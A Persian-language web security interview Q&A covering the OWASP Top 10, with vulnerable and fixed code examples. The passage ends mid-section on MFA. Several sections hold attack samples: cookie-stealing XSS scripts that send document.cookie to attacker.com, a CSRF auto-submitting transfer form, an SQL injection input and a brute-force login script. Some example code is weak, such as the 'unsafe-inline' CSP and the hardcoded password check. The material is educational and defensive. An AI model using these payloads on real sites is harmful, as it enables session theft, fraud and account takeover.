← بازگشت

سوالات امنیت وب

Web Security Interview Questions & Answers

1. امنیت برنامه وب (Web Application Security) چیست؟

پاسخ:

امنیت برنامه وب به فرآیند محافظت از برنامه‌های وب در برابر تهدیداتی اشاره دارد که می‌توانند یکپارچگی داده‌ها، محرمانگی و در دسترس بودن آنها را به خطر بیندازند.

اهداف اصلی امنیت وب:
  • شناسایی تهدیدات: تشخیص آسیب‌پذیری‌ها و نقاط ضعف
  • پیشگیری از حملات: اعمال تدابیر امنیتی مناسب
  • پاسخ به حوادث: مدیریت و کنترل حملات سایبری
  • حفظ عملکرد: اطمینان از عملکرد صحیح و امن برنامه‌ها
نکته: امنیت وب شامل محافظت از داده‌ها، کاربران، و زیرساخت‌های IT است.

2. چرا اعتبارسنجی ورودی (Input Validation) مهم است؟

پاسخ:

اعتبارسنجی ورودی یک جنبه حیاتی از امنیت برنامه وب است که شامل بررسی و پاکسازی ورودی‌های کاربر برای اطمینان از ورود فقط داده‌های مجاز و ایمن است.

دلایل اهمیت:
  • جلوگیری از SQL Injection: محافظت از پایگاه داده
  • پیشگیری از XSS: جلوگیری از تزریق اسکریپت مخرب
  • کنترل Command Injection: محافظت از سیستم‌عامل
  • حفظ یکپارچگی داده: اطمینان از صحت اطلاعات
// مثال اعتبارسنجی ورودی در JavaScript
function validateInput(username) {
    // بررسی طول
    if (username.length < 3 || username.length > 20) {
        return false;
    }
    
    // بررسی کاراکترهای مجاز
    const validPattern = /^[a-zA-Z0-9_]+$/;
    if (!validPattern.test(username)) {
        return false;
    }
    
    return true;
}
قانون طلایی: هرگز به ورودی کاربر اعتماد نکنید - همیشه اعتبارسنجی کنید!

3. تهدیدات رایج برنامه وب کدامند؟ (بر اساس OWASP Top 10)

پاسخ:

برنامه‌های وب با تهدیدات متعددی روبرو هستند. OWASP Top 10 لیستی از رایج‌ترین و حیاتی‌ترین آسیب‌پذیری‌ها را ارائه می‌دهد:

OWASP Top 10 (2021):
  1. Broken Access Control: نقص در کنترل دسترسی
  2. Cryptographic Failures: شکست‌های رمزنگاری
  3. Injection: تزریق کدهای مخرب (SQL، Command، etc.)
  4. Insecure Design: طراحی ناامن
  5. Security Misconfiguration: پیکربندی امنیتی نادرست
  6. Vulnerable Components: کامپوننت‌های آسیب‌پذیر
  7. Authentication Failures: شکست‌های احراز هویت
  8. Software Integrity Failures: شکست‌های یکپارچگی نرم‌افزار
  9. Logging Failures: شکست‌های لاگ‌گیری و نظارت
  10. Server-Side Request Forgery: جعل درخواست سمت سرور
نکته: این لیست سالانه به‌روزرسانی می‌شود و باید مورد توجه تمام توسعه‌دهندگان باشد.

4. OWASP چیست و OWASP Top 10 چه اهمیتی دارد؟

پاسخ:

OWASP مخفف Open Web Application Security Project (پروژه امنیت برنامه وب باز) است که یک سازمان غیرانتفاعی برای بهبود امنیت نرم‌افزار محسوب می‌شود.

اهداف OWASP:
  • آگاهی‌بخشی: افزایش آگاهی از امنیت برنامه‌های وب
  • ابزارسازی: توسعه ابزارهای امنیتی رایگان
  • آموزش: ارائه منابع آموزشی و راهنماها
  • استانداردسازی: تعریف بهترین روش‌های امنیتی
اهمیت OWASP Top 10:
  • راهنمای عملی: ارائه لیست اولویت‌بندی شده تهدیدات
  • استاندارد صنعتی: پذیرش گسترده در سطح جهانی
  • به‌روزرسانی منظم: انطباق با تهدیدات جدید
  • پایه آموزشی: مبنای آموزش امنیت وب
نکته: OWASP Top 10 باید نقطه شروع هر برنامه امنیت وب باشد، نه پایان آن.

5. تفاوت بین Authentication و Authorization چیست؟

پاسخ:

این دو مفهوم اساسی امنیت هستند که اغلب با هم اشتباه گرفته می‌شوند:

Authentication (احراز هویت):
  • تعریف: فرآیند تأیید هویت یک کاربر یا سیستم
  • سوال: "شما کی هستید؟"
  • روش‌ها: نام کاربری/رمز عبور، توکن، گواهی‌نامه، MFA
  • نتیجه: تأیید یا رد هویت
Authorization (مجوزدهی):
  • تعریف: تعیین سطح دسترسی کاربر احراز هویت شده
  • سوال: "شما چه کارهایی می‌توانید انجام دهید؟"
  • روش‌ها: نقش‌ها (Roles)، مجوزها (Permissions)، ACL
  • نتیجه: اجازه یا منع دسترسی به منابع
// مثال عملی
// Authentication
if (username === "admin" && password === "secret123") {
    user.authenticated = true;
    user.role = "administrator";
}

// Authorization
if (user.authenticated && user.role === "administrator") {
    // اجازه دسترسی به پنل مدیریت
    allowAccessToAdminPanel();
}
نکته: Authentication همیشه قبل از Authorization انجام می‌شود.

6. SQL Injection چیست و چگونه می‌توان از آن جلوگیری کرد؟

پاسخ:

SQL Injection یک آسیب‌پذیری امنیتی است که به مهاجم اجازه می‌دهد کدهای SQL مخرب را در ورودی‌های برنامه تزریق کند.

مثال حمله SQL Injection:
// کد آسیب‌پذیر
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

// ورودی مخرب
username = "admin'; --"
password = "anything"

// کوئری نهایی
SELECT * FROM users WHERE username = 'admin'; --' AND password = 'anything'
روش‌های جلوگیری:
  • Prepared Statements: استفاده از پارامترهای آماده
  • Stored Procedures: روال‌های ذخیره شده با پارامتر
  • Input Validation: اعتبارسنجی دقیق ورودی‌ها
  • Least Privilege: حداقل امتیازات پایگاه داده
// کد امن با Prepared Statement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
نکته: هرگز ورودی کاربر را مستقیماً در کوئری SQL قرار ندهید.

7. Cross-Site Scripting (XSS) چیست و چگونه می‌توان از آن جلوگیری کرد؟

پاسخ:

Cross-Site Scripting (XSS) حمله‌ای است که مهاجم اسکریپت‌های مخرب را به صفحات وب تزریق می‌کند که توسط مرورگر کاربر اجرا می‌شوند.

انواع XSS:
  • Stored XSS: اسکریپت در پایگاه داده ذخیره می‌شود
  • Reflected XSS: اسکریپت در پاسخ سرور منعکس می‌شود
  • DOM-based XSS: اسکریپت در DOM مرورگر اجرا می‌شود
مثال حمله XSS:
// ورودی مخرب
<script>alert('XSS Attack!');</script>

// یا سرقت کوکی
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>
روش‌های جلوگیری:
  • Output Encoding: رمزگذاری خروجی‌ها
  • Input Validation: اعتبارسنجی ورودی‌ها
  • Content Security Policy (CSP): سیاست امنیت محتوا
  • HttpOnly Cookies: محافظت از کوکی‌ها
// مثال Output Encoding در JavaScript
function escapeHtml(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

// استفاده
const userInput = "<script>alert('XSS')</script>";
const safeOutput = escapeHtml(userInput);
// نتیجه: &lt;script&gt;alert('XSS')&lt;/script&gt;
نکته: همیشه ورودی کاربر را قبل از نمایش در مرورگر encode کنید.

8. Cross-Site Request Forgery (CSRF) چیست و چگونه می‌توان از آن جلوگیری کرد؟

پاسخ:

Cross-Site Request Forgery (CSRF) حمله‌ای است که کاربر احراز هویت شده را مجبور می‌کند اقدامات ناخواسته را در یک برنامه وب انجام دهد.

مثال حمله CSRF:
// صفحه مخرب
<img src="http://bank.com/transfer?amount=1000&to=attacker" />

// یا فرم مخفی
<form action="http://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="1000" />
    <input type="hidden" name="to" value="attacker" />
</form>
<script>document.forms[0].submit();</script>
روش‌های جلوگیری:
  • CSRF Tokens: توکن‌های ضد CSRF
  • SameSite Cookies: محدودیت ارسال کوکی
  • Referer Validation: بررسی مبدأ درخواست
  • Double Submit Cookie: روش کوکی دوگانه
// مثال CSRF Token
// تولید توکن در سرور
const csrfToken = generateRandomToken();
session.csrfToken = csrfToken;

// در فرم HTML
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="${csrfToken}" />
    <input type="text" name="amount" />
    <input type="text" name="to" />
    <button type="submit">Transfer</button>
</form>

// اعتبارسنجی در سرور
if (request.body.csrf_token !== session.csrfToken) {
    throw new Error('CSRF token mismatch');
}
نکته: CSRF Tokens باید برای هر نشست منحصر به فرد و غیرقابل پیش‌بینی باشند.

9. مفهوم Insecure Deserialization چیست؟

پاسخ:

Insecure Deserialization آسیب‌پذیری‌ای است که زمانی رخ می‌دهد که داده‌های غیرقابل اعتماد به صورت ناامن از فرمت سریالی شده به اشیاء در حافظه تبدیل می‌شوند.

خطرات Insecure Deserialization:
  • Remote Code Execution: اجرای کد از راه دور
  • Denial of Service: حملات DoS
  • Data Tampering: دستکاری داده‌ها
  • Privilege Escalation: افزایش سطح دسترسی
مثال آسیب‌پذیری:
// کد آسیب‌پذیر در Java
// دریافت داده سریالی شده از کاربر
ObjectInputStream ois = new ObjectInputStream(userInput);
Object obj = ois.readObject(); // خطرناک!

// کد آسیب‌پذیر در Python
import pickle
data = pickle.loads(user_input) # خطرناک!
روش‌های جلوگیری:
  • عدم Deserialization داده‌های غیرقابل اعتماد
  • استفاده از فرمت‌های امن: JSON، XML با validation
  • Digital Signatures: امضای دیجیتال داده‌ها
  • Type Constraints: محدودیت نوع داده
// روش امن با JSON
// به جای serialization خطرناک
const data = JSON.parse(userInput); // امن‌تر
// اما همچنان نیاز به validation دارد

// Validation
const schema = {
    type: 'object',
    properties: {
        name: { type: 'string', maxLength: 100 },
        age: { type: 'number', minimum: 0, maximum: 150 }
    },
    required: ['name', 'age']
};

if (!validateSchema(data, schema)) {
    throw new Error('Invalid data format');
}
نکته: هرگز داده‌های سریالی شده را از منابع غیرقابل اعتماد deserialize نکنید.

10. Security Misconfiguration (پیکربندی امنیتی نادرست) چیست؟

پاسخ:

Security Misconfiguration به پیکربندی‌های نادرست امنیتی در سرورها، فریم‌ورک‌ها، پایگاه‌های داده، و برنامه‌ها اشاره دارد.

نمونه‌های رایج:
  • تنظیمات پیش‌فرض: استفاده از رمزهای پیش‌فرض
  • Directory Listing: فعال بودن فهرست‌بندی دایرکتوری
  • Error Messages: نمایش پیام‌های خطای مفصل
  • Unnecessary Services: سرویس‌های غیرضروری فعال
مثال‌های خطرناک:
// تنظیمات ناامن وب‌سرور
# Apache - Directory Listing فعال
Options +Indexes

# Nginx - نمایش نسخه سرور
server_tokens on;

// تنظیمات ناامن پایگاه داده
# MySQL - رمز عبور خالی
mysql -u root -p
# Password: [Enter]

// کد ناامن - نمایش خطای مفصل
try {
    // database operation
} catch (Exception e) {
    response.send("Database error: " + e.getMessage()); // خطرناک!
}
روش‌های جلوگیری:
  • Security Hardening: سخت‌سازی سیستم‌ها
  • Regular Updates: به‌روزرسانی منظم
  • Minimal Installation: نصب حداقلی
  • Security Scanning: اسکن امنیتی منظم
// تنظیمات امن
# Apache - غیرفعال کردن Directory Listing
Options -Indexes

# Nginx - مخفی کردن نسخه سرور
server_tokens off;

// کد امن - مدیریت خطا
try {
    // database operation
} catch (Exception e) {
    logger.error("Database error", e);
    response.send("An error occurred. Please try again."); // امن
}
نکته: همیشه اصل "Secure by Default" را رعایت کنید.

11. Sensitive Data Exposure (افشای داده‌های حساس) چیست؟

پاسخ:

Sensitive Data Exposure زمانی رخ می‌دهد که داده‌های حساس مانند اطلاعات کارت اعتباری، اطلاعات شخصی، و رمزهای عبور به دلیل عدم محافظت کافی در معرض دید قرار می‌گیرند.

انواع داده‌های حساس:
  • اطلاعات مالی: شماره کارت، حساب بانکی
  • اطلاعات شخصی: کد ملی، شماره تلفن، آدرس
  • اطلاعات احراز هویت: رمز عبور، توکن‌ها
  • اطلاعات پزشکی: سوابق درمانی، تست‌های پزشکی
روش‌های جلوگیری:
  • رمزنگاری در انتقال: استفاده از HTTPS/TLS
  • رمزنگاری در ذخیره‌سازی: رمزنگاری پایگاه داده
  • هش کردن رمزها: استفاده از bcrypt، scrypt
  • حداقل داده: جمع‌آوری فقط داده‌های ضروری
// مثال رمزنگاری رمز عبور
const bcrypt = require('bcrypt');

// هش کردن رمز عبور
async function hashPassword(password) {
    const saltRounds = 12;
    return await bcrypt.hash(password, saltRounds);
}

// بررسی رمز عبور
async function verifyPassword(password, hashedPassword) {
    return await bcrypt.compare(password, hashedPassword);
}

// استفاده
const hashedPassword = await hashPassword('userPassword123');
// ذخیره hashedPassword در پایگاه داده، نه رمز اصلی
نکته: هرگز رمزهای عبور را به صورت متن ساده ذخیره نکنید.

12. Broken Access Control (کنترل دسترسی شکسته) چیست؟

پاسخ:

Broken Access Control به نقص‌هایی در مکانیزم‌های کنترل دسترسی اشاره دارد که به کاربران اجازه دسترسی به منابع غیرمجاز را می‌دهد.

انواع نقض کنترل دسترسی:
  • Vertical Privilege Escalation: دسترسی به نقش‌های بالاتر
  • Horizontal Privilege Escalation: دسترسی به داده‌های کاربران دیگر
  • Missing Function Level Access Control: عدم کنترل در سطح تابع
  • Insecure Direct Object References: ارجاع مستقیم ناامن
مثال آسیب‌پذیری:
// URL آسیب‌پذیر
https://bank.com/account?id=12345

// مهاجم تغییر ID می‌دهد
https://bank.com/account?id=12346

// کد آسیب‌پذیر
app.get('/account', (req, res) => {
    const accountId = req.query.id;
    const account = getAccount(accountId); // بدون بررسی مالکیت!
    res.json(account);
});
روش‌های جلوگیری:
  • Server-side Validation: اعتبارسنجی در سمت سرور
  • Principle of Least Privilege: حداقل امتیاز
  • Role-Based Access Control (RBAC): کنترل دسترسی مبتنی بر نقش
  • Session Management: مدیریت صحیح نشست
// کد امن
app.get('/account', authenticateUser, (req, res) => {
    const accountId = req.query.id;
    const userId = req.user.id;
    
    // بررسی مالکیت
    if (!isAccountOwner(userId, accountId)) {
        return res.status(403).json({ error: 'Access denied' });
    }
    
    const account = getAccount(accountId);
    res.json(account);
});
نکته: همیشه کنترل دسترسی را در سمت سرور پیاده‌سازی کنید.

13. Using Components with Known Vulnerabilities چیست؟

پاسخ:

این آسیب‌پذیری زمانی رخ می‌دهد که از کتابخانه‌ها، فریم‌ورک‌ها یا سایر ماژول‌های نرم‌افزاری با آسیب‌پذیری‌های شناخته شده استفاده می‌شود.

مشکلات رایج:
  • نسخه‌های قدیمی: استفاده از کتابخانه‌های منسوخ
  • عدم به‌روزرسانی: نادیده گرفتن پچ‌های امنیتی
  • وابستگی‌های ناشناخته: عدم آگاهی از زیرمجموعه‌ها
  • کامپوننت‌های غیرضروری: نگهداری کتابخانه‌های استفاده نشده
مثال آسیب‌پذیری:
// package.json آسیب‌پذیر
{
  "dependencies": {
    "lodash": "4.17.4",        // نسخه قدیمی با CVE
    "express": "4.16.0",       // نسخه قدیمی
    "jquery": "3.3.1"          // آسیب‌پذیری XSS
  }
}

// بررسی آسیب‌پذیری
npm audit

// نتیجه
found 15 vulnerabilities (2 low, 9 moderate, 4 high)
روش‌های جلوگیری:
  • Dependency Scanning: اسکن منظم وابستگی‌ها
  • Regular Updates: به‌روزرسانی منظم
  • Vulnerability Monitoring: نظارت بر آسیب‌پذیری‌ها
  • Minimal Dependencies: استفاده از حداقل وابستگی
// ابزارهای بررسی امنیت
# npm audit
npm audit
npm audit fix

# OWASP Dependency Check
dependency-check --project myapp --scan ./

# Snyk
snyk test
snyk monitor

# GitHub Security Alerts
# فعال‌سازی خودکار در repository
نکته: همیشه وابستگی‌های پروژه را به‌روز نگه دارید و منظماً اسکن کنید.

14. Insufficient Logging & Monitoring چیست؟

پاسخ:

Insufficient Logging & Monitoring به عدم وجود لاگ‌گیری و نظارت کافی برای شناسایی، تحلیل و پاسخ به حملات امنیتی اشاره دارد.

مشکلات رایج:
  • عدم لاگ‌گیری: ثبت نکردن رویدادهای مهم
  • لاگ‌های ناکافی: اطلاعات ناکامل در لاگ‌ها
  • عدم نظارت: بررسی نکردن لاگ‌ها
  • پاسخ کند: تأخیر در تشخیص حملات
رویدادهای مهم برای لاگ‌گیری:
  • تلاش‌های ورود: موفق و ناموفق
  • تغییرات مجوزها: اصلاح نقش‌ها و دسترسی‌ها
  • دسترسی به داده‌های حساس: مشاهده اطلاعات مهم
  • خطاهای امنیتی: تلاش‌های نفوذ
// مثال لاگ‌گیری مناسب
const winston = require('winston');

const logger = winston.createLogger({
    level: 'info',
    format: winston.format.combine(
        winston.format.timestamp(),
        winston.format.json()
    ),
    transports: [
        new winston.transports.File({ filename: 'security.log' }),
        new winston.transports.Console()
    ]
});

// لاگ‌گیری رویدادهای امنیتی
app.post('/login', (req, res) => {
    const { username, password } = req.body;
    
    if (authenticateUser(username, password)) {
        logger.info('Successful login', {
            username,
            ip: req.ip,
            userAgent: req.get('User-Agent'),
            timestamp: new Date().toISOString()
        });
        res.json({ success: true });
    } else {
        logger.warn('Failed login attempt', {
            username,
            ip: req.ip,
            userAgent: req.get('User-Agent'),
            timestamp: new Date().toISOString()
        });
        res.status(401).json({ error: 'Invalid credentials' });
    }
});
بهترین روش‌ها:
  • Centralized Logging: متمرکز کردن لاگ‌ها
  • Real-time Monitoring: نظارت بلادرنگ
  • Automated Alerts: هشدارهای خودکار
  • Log Protection: محافظت از لاگ‌ها
نکته: لاگ‌ها باید جامع، قابل خواندن، و محافظت شده باشند.

15. مفهوم Session Hijacking چیست؟

پاسخ:

Session Hijacking حمله‌ای است که مهاجم کنترل نشست یک کاربر معتبر را به دست می‌آورد و بدون نیاز به احراز هویت، به عنوان آن کاربر عمل می‌کند.

روش‌های Session Hijacking:
  • Session ID Theft: سرقت شناسه نشست
  • Man-in-the-Middle: رهگیری ترافیک
  • Cross-Site Scripting: سرقت کوکی با XSS
  • Session Fixation: تحمیل شناسه نشست
مثال حمله:
// حمله XSS برای سرقت کوکی
<script>
// سرقت کوکی نشست
var sessionCookie = document.cookie;
// ارسال به سرور مهاجم
fetch('http://attacker.com/steal.php?cookie=' + sessionCookie);
</script>

// استفاده از کوکی سرقت شده
// مهاجم می‌تواند کوکی را در مرورگر خود قرار دهد
document.cookie = "PHPSESSID=stolen_session_id";
روش‌های جلوگیری:
  • HTTPS/TLS: رمزنگاری ترافیک
  • HttpOnly Cookies: جلوگیری از دسترسی JavaScript
  • Secure Cookies: ارسال فقط از طریق HTTPS
  • Session Regeneration: تجدید شناسه پس از ورود
// تنظیمات امن کوکی
app.use(session({
    secret: 'your-secret-key',
    name: 'sessionId',
    cookie: {
        secure: true,        // فقط HTTPS
        httpOnly: true,      // غیرقابل دسترس از JavaScript
        maxAge: 1800000,     // 30 دقیقه
        sameSite: 'strict'   // محدودیت cross-site
    },
    resave: false,
    saveUninitialized: false
}));

// تجدید نشست پس از ورود
app.post('/login', (req, res) => {
    if (authenticateUser(req.body.username, req.body.password)) {
        // تجدید شناسه نشست
        req.session.regenerate((err) => {
            if (err) throw err;
            req.session.userId = user.id;
            req.session.save();
            res.json({ success: true });
        });
    }
});
نکته: همیشه نشست‌ها را پس از احراز هویت موفق تجدید کنید.

16. مفهوم Insecure Direct Object References (IDOR) چیست؟

پاسخ:

Insecure Direct Object References (IDOR) آسیب‌پذیری کنترل دسترسی است که زمانی رخ می‌دهد که برنامه از شناسه قابل پیش‌بینی برای دسترسی مستقیم به اشیاء استفاده می‌کند.

مثال‌های IDOR:
  • URL Parameters: تغییر ID در URL
  • Form Fields: دستکاری فیلدهای مخفی
  • API Endpoints: تغییر شناسه در درخواست‌های API
  • File Access: دسترسی مستقیم به فایل‌ها
مثال آسیب‌پذیری:
// URL آسیب‌پذیر
https://example.com/profile?userId=123

// مهاجم تغییر userId می‌دهد
https://example.com/profile?userId=124
https://example.com/profile?userId=125

// کد آسیب‌پذیر
app.get('/profile', (req, res) => {
    const userId = req.query.userId;
    const profile = getUserProfile(userId); // بدون بررسی مجوز!
    res.json(profile);
});

// دسترسی مستقیم به فایل
https://example.com/documents/invoice_123.pdf
https://example.com/documents/invoice_124.pdf
روش‌های جلوگیری:
  • Access Control Checks: بررسی مجوز در سمت سرور
  • Indirect References: استفاده از شناسه‌های غیرمستقیم
  • UUIDs: شناسه‌های غیرقابل پیش‌بینی
  • User Context Validation: اعتبارسنجی بافت کاربر
// کد امن
app.get('/profile', authenticateUser, (req, res) => {
    const requestedUserId = req.query.userId;
    const currentUserId = req.user.id;
    
    // بررسی مجوز دسترسی
    if (requestedUserId !== currentUserId && !req.user.isAdmin) {
        return res.status(403).json({ error: 'Access denied' });
    }
    
    const profile = getUserProfile(requestedUserId);
    res.json(profile);
});

// استفاده از UUID به جای ID متوالی
const uuid = require('uuid');

// ایجاد شناسه غیرقابل پیش‌بینی
const documentId = uuid.v4(); // e.g., 550e8400-e29b-41d4-a716-446655440000

// نگاشت غیرمستقیم
const documentMap = new Map();
documentMap.set('doc_abc123', 'actual_document_id_456');

app.get('/document/:token', (req, res) => {
    const token = req.params.token;
    const actualId = documentMap.get(token);
    
    if (!actualId || !userCanAccessDocument(req.user.id, actualId)) {
        return res.status(404).json({ error: 'Document not found' });
    }
    
    // ارائه سند
});
نکته: هرگز به شناسه‌های ارسالی از سمت کلاینت اعتماد نکنید.

17. تفاوت بین HTTP و HTTPS چیست؟

پاسخ:

تفاوت اساسی بین HTTP و HTTPS در لایه امنیتی است که HTTPS ارائه می‌دهد.

HTTP (Hypertext Transfer Protocol):
  • انتقال متن ساده: داده‌ها رمزنگاری نمی‌شوند
  • پورت 80: پورت پیش‌فرض
  • سرعت بالا: عدم overhead رمزنگاری
  • ناامن: قابل رهگیری و دستکاری
HTTPS (HTTP Secure):
  • رمزنگاری SSL/TLS: محافظت از داده‌ها
  • پورت 443: پورت پیش‌فرض امن
  • احراز هویت سرور: تأیید هویت وب‌سایت
  • یکپارچگی داده: جلوگیری از دستکاری
مقایسه عملی:
// HTTP - ناامن
http://example.com/login
// داده‌های ورود به صورت متن ساده ارسال می‌شوند
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=secret123

// HTTPS - امن
https://example.com/login
// داده‌ها رمزنگاری شده ارسال می‌شوند
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
[Encrypted Data]
مزایای HTTPS:
  • محرمانگی: رمزنگاری داده‌ها
  • یکپارچگی: جلوگیری از دستکاری
  • احراز هویت: تأیید هویت سرور
  • اعتماد کاربران: نشان قفل سبز
  • SEO بهتر: اولویت در موتورهای جستجو
// پیاده‌سازی HTTPS در Node.js
const https = require('https');
const fs = require('fs');
const express = require('express');

const app = express();

// خواندن گواهی SSL
const options = {
    key: fs.readFileSync('private-key.pem'),
    cert: fs.readFileSync('certificate.pem')
};

// ایجاد سرور HTTPS
https.createServer(options, app).listen(443, () => {
    console.log('HTTPS Server running on port 443');
});

// هدایت HTTP به HTTPS
app.use((req, res, next) => {
    if (req.header('x-forwarded-proto') !== 'https') {
        res.redirect(`https://${req.header('host')}${req.url}`);
    } else {
        next();
    }
});
نکته: امروزه استفاده از HTTPS برای تمام وب‌سایت‌ها الزامی است.

18. حملات Brute-Force چیست؟

پاسخ:

حملات Brute-Force روشی برای شکستن رمزهای عبور، کلیدهای رمزنگاری یا یافتن صفحات پنهان با امتحان کردن تمام ترکیبات ممکن است.

انواع حملات Brute-Force:
  • Dictionary Attack: استفاده از لیست کلمات رایج
  • Pure Brute-Force: امتحان تمام ترکیبات ممکن
  • Hybrid Attack: ترکیب dictionary و brute-force
  • Credential Stuffing: استفاده از اطلاعات نشت شده
مثال حمله:
// اسکریپت حمله Brute-Force ساده
const passwords = ['123456', 'password', 'admin', 'qwerty', '12345'];

async function bruteForceAttack(username, targetUrl) {
    for (const password of passwords) {
        try {
            const response = await fetch(targetUrl, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ username, password })
            });
            
            if (response.ok) {
                console.log(`Success! Password found: ${password}`);
                return password;
            }
        } catch (error) {
            console.log(`Failed attempt: ${password}`);
        }
    }
    return null;
}
روش‌های جلوگیری:
  • Rate Limiting: محدودیت تعداد تلاش
  • Account Lockout: قفل کردن حساب
  • CAPTCHA: تأیید انسان بودن
  • Strong Passwords: رمزهای عبور قوی
  • Multi-Factor Authentication: احراز هویت چندعاملی
// پیاده‌سازی Rate Limiting
const rateLimit = require('express-rate-limit');

// محدودیت تلاش ورود
const loginLimiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15 دقیقه
    max: 5, // حداکثر 5 تلاش
    message: 'Too many login attempts, please try again later',
    standardHeaders: true,
    legacyHeaders: false,
});

app.post('/login', loginLimiter, (req, res) => {
    // منطق احراز هویت
});

// قفل کردن حساب
const failedAttempts = new Map();

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    const attempts = failedAttempts.get(username) || 0;
    
    if (attempts >= 5) {
        return res.status(423).json({ 
            error: 'Account locked due to too many failed attempts' 
        });
    }
    
    if (!authenticateUser(username, password)) {
        failedAttempts.set(username, attempts + 1);
        return res.status(401).json({ error: 'Invalid credentials' });
    }
    
    // ورود موفق - پاک کردن تلاش‌های ناموفق
    failedAttempts.delete(username);
    res.json({ success: true });
});
نکته: ترکیب چندین روش دفاعی بهترین محافظت را فراهم می‌کند.

19. مفهوم Content Security Policy (CSP) چیست؟

پاسخ:

Content Security Policy (CSP) یک استاندارد امنیتی است که به جلوگیری از حملات XSS و سایر حملات تزریق کد کمک می‌کند.

اهداف CSP:
  • جلوگیری از XSS: محدود کردن اجرای اسکریپت
  • کنترل منابع: تعیین منابع مجاز
  • جلوگیری از Data Exfiltration: محدود کردن ارسال داده
  • محافظت از Clickjacking: کنترل frame embedding
دستورات CSP:
  • default-src: منبع پیش‌فرض برای همه منابع
  • script-src: منابع مجاز برای اسکریپت
  • style-src: منابع مجاز برای CSS
  • img-src: منابع مجاز برای تصاویر
  • connect-src: منابع مجاز برای AJAX/WebSocket
// مثال CSP Header
Content-Security-Policy: 
    default-src 'self'; 
    script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; 
    style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; 
    img-src 'self' data: https:; 
    font-src 'self' https://fonts.gstatic.com; 
    connect-src 'self' https://api.example.com;

// پیاده‌سازی در Express.js
app.use((req, res, next) => {
    res.setHeader('Content-Security-Policy', 
        "default-src 'self'; " +
        "script-src 'self' 'unsafe-inline'; " +
        "style-src 'self' 'unsafe-inline'; " +
        "img-src 'self' data: https:;"
    );
    next();
});

// CSP با nonce برای اسکریپت‌های inline
const crypto = require('crypto');

app.use((req, res, next) => {
    const nonce = crypto.randomBytes(16).toString('base64');
    res.locals.nonce = nonce;
    res.setHeader('Content-Security-Policy', 
        `script-src 'self' 'nonce-${nonce}'`
    );
    next();
});
مثال HTML با CSP:
<!-- اسکریپت مجاز با nonce -->
<script nonce="<%= nonce %>">
    console.log('This script is allowed');
</script>

<!-- اسکریپت غیرمجاز - مسدود می‌شود -->
<script>
    alert('This will be blocked by CSP');
</script>

<!-- تصویر از منبع مجاز -->
<img src="/images/logo.png" alt="Logo">

<!-- تصویر از منبع غیرمجاز - مسدود می‌شود -->
<img src="http://malicious-site.com/image.jpg">
نکته: CSP باید به تدریج پیاده‌سازی شود و ابتدا در حالت Report-Only تست شود.

20. مفهوم Same-Origin Policy چیست؟

پاسخ:

Same-Origin Policy یک مفهوم امنیتی مهم در مرورگرهای وب است که محدود می‌کند یک صفحه وب چگونه می‌تواند با منابع از origin دیگر تعامل کند.

تعریف Origin:

Origin شامل سه جزء است:

  • Protocol (Scheme): http یا https
  • Domain (Host): نام دامنه
  • Port: شماره پورت
مثال‌های Same-Origin:
// Origin اصلی
https://example.com:443/page1

// Same Origin ✓
https://example.com:443/page2
https://example.com:443/folder/page3

// Different Origin ✗
http://example.com:443/page2        // پروتکل متفاوت
https://subdomain.example.com/page2  // دامنه متفاوت
https://example.com:8080/page2       // پورت متفاوت
https://other-site.com/page2         // دامنه کاملاً متفاوت
محدودیت‌های Same-Origin Policy:
  • AJAX Requests: درخواست‌های XMLHttpRequest
  • DOM Access: دسترسی به DOM صفحات دیگر
  • Cookie Access: دسترسی به کوکی‌های سایت‌های دیگر
  • Local Storage: دسترسی به localStorage سایت‌های دیگر
راه‌های دور زدن قانونی:
  • CORS (Cross-Origin Resource Sharing): اجازه صریح سرور
  • JSONP: استفاده از تگ script
  • PostMessage API: ارتباط بین frame ها
  • Proxy Server: استفاده از proxy
// مثال CORS
// سمت سرور - اجازه دسترسی cross-origin
app.use((req, res, next) => {
    res.header('Access-Control-Allow-Origin', 'https://trusted-site.com');
    res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    next();
});

// سمت کلاینت - درخواست cross-origin
fetch('https://api.example.com/data', {
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
    }
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('CORS error:', error));

// PostMessage برای ارتباط بین frame ها
// در صفحه والد
const iframe = document.getElementById('myIframe');
iframe.contentWindow.postMessage('Hello iframe', 'https://other-domain.com');

// در iframe
window.addEventListener('message', (event) => {
    if (event.origin !== 'https://trusted-parent.com') return;
    console.log('Received message:', event.data);
});
نکته: Same-Origin Policy یکی از مهم‌ترین مکانیزم‌های امنیتی مرورگر است که از حملات cross-site جلوگیری می‌کند.

21. مفهوم Multi-Factor Authentication (MFA) چیست؟

پاسخ:

Multi-Factor Authentication (MFA) روش احراز هویتی است که از دو یا چند عامل مختلف برای تأیید هویت کاربر استفاده می‌کند.

سه عامل اصلی احراز هویت:
  • Something you know: چیزی که می‌دانید (رمز عبور، PIN)
  • Something you have: چیزی که دارید (تلفن، توکن)
  • Something you are: چیزی که هستید (اثر انگشت، چهره)
انواع MFA:
  • SMS/Voice: کد تأیید از طریق پیامک یا تماس
  • TOTP (Time-based OTP): کد موقت مبتنی بر زمان
  • Push Notifications: اعلان در اپلیکیشن موبایل
  • Hardware Tokens: دستگاه‌های فیزیکی
  • Biometric: اثر انگشت، تشخیص چهره
// پیاده‌سازی TOTP با Node.js
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');

// تولید secret برای کاربر
